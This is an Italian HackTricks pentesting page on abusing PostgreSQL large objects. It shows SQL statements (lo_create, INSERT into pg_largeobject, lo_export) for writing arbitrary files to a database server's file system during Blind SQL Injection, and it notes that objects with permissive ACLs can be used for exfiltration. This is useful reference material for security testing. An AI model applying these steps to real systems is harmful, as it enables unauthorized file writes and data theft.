tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Oggetti di grandi dimensioni PostgreSQL
PostgreSQL offre una struttura nota come oggetti di grandi dimensioni, accessibile tramite la tabella pg_largeobject
, progettata per memorizzare grandi tipi di dati, come immagini o documenti PDF. Questo approccio è vantaggioso rispetto alla funzione COPY TO
in quanto consente l'esportazione dei dati nel file system, garantendo che venga mantenuta una replica esatta del file originale.
Per memorizzare un file completo all'interno di questa tabella, deve essere creato un oggetto nella tabella pg_largeobject
(identificato da un LOID), seguito dall'inserimento di chunk di dati, ciascuno di 2KB, in questo oggetto. È fondamentale che questi chunk siano esattamente di 2KB (con la possibile eccezione dell'ultimo chunk) per garantire che la funzione di esportazione funzioni correttamente.
Per dividere i tuoi dati binari in chunk di 2KB, possono essere eseguiti i seguenti comandi:
split -b 2048 your_file # Creates 2KB sized files
Per codificare ogni file in Base64 o Hex, possono essere utilizzati i seguenti comandi:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
Importante: Quando si automatizza questo processo, assicurati di inviare blocchi di 2KB di byte in chiaro. I file codificati in esadecimale richiederanno 4KB di dati per blocco a causa del raddoppio delle dimensioni, mentre i file codificati in Base64 seguono la formula ceil(n / 3) * 4
.
Il contenuto degli oggetti di grandi dimensioni può essere visualizzato per scopi di debug utilizzando:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Utilizzando lo_creat
e Base64
Per memorizzare dati binari, viene prima creato un LOID:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
In situazioni che richiedono un controllo preciso, come nello sfruttamento di una Blind SQL Injection, lo_create
è preferito per specificare un LOID fisso.
I chunk di dati possono quindi essere inseriti come segue:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
Per esportare e potenzialmente eliminare il grande oggetto dopo l'uso:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
Utilizzando lo_import
e Hex
La funzione lo_import
può essere utilizzata per creare e specificare un LOID per un oggetto di grandi dimensioni:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
Dopo la creazione dell'oggetto, i dati vengono inseriti per pagina, assicurando che ogni blocco non superi i 2KB:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
Per completare il processo, i dati vengono esportati e l'oggetto di grandi dimensioni viene eliminato:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
Limitazioni
Si nota che i grandi oggetti possono avere ACL (Liste di Controllo degli Accessi), potenzialmente limitando l'accesso anche agli oggetti creati dal tuo utente. Tuttavia, oggetti più vecchi con ACL permissive potrebbero essere ancora accessibili per l'exfiltrazione dei contenuti.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.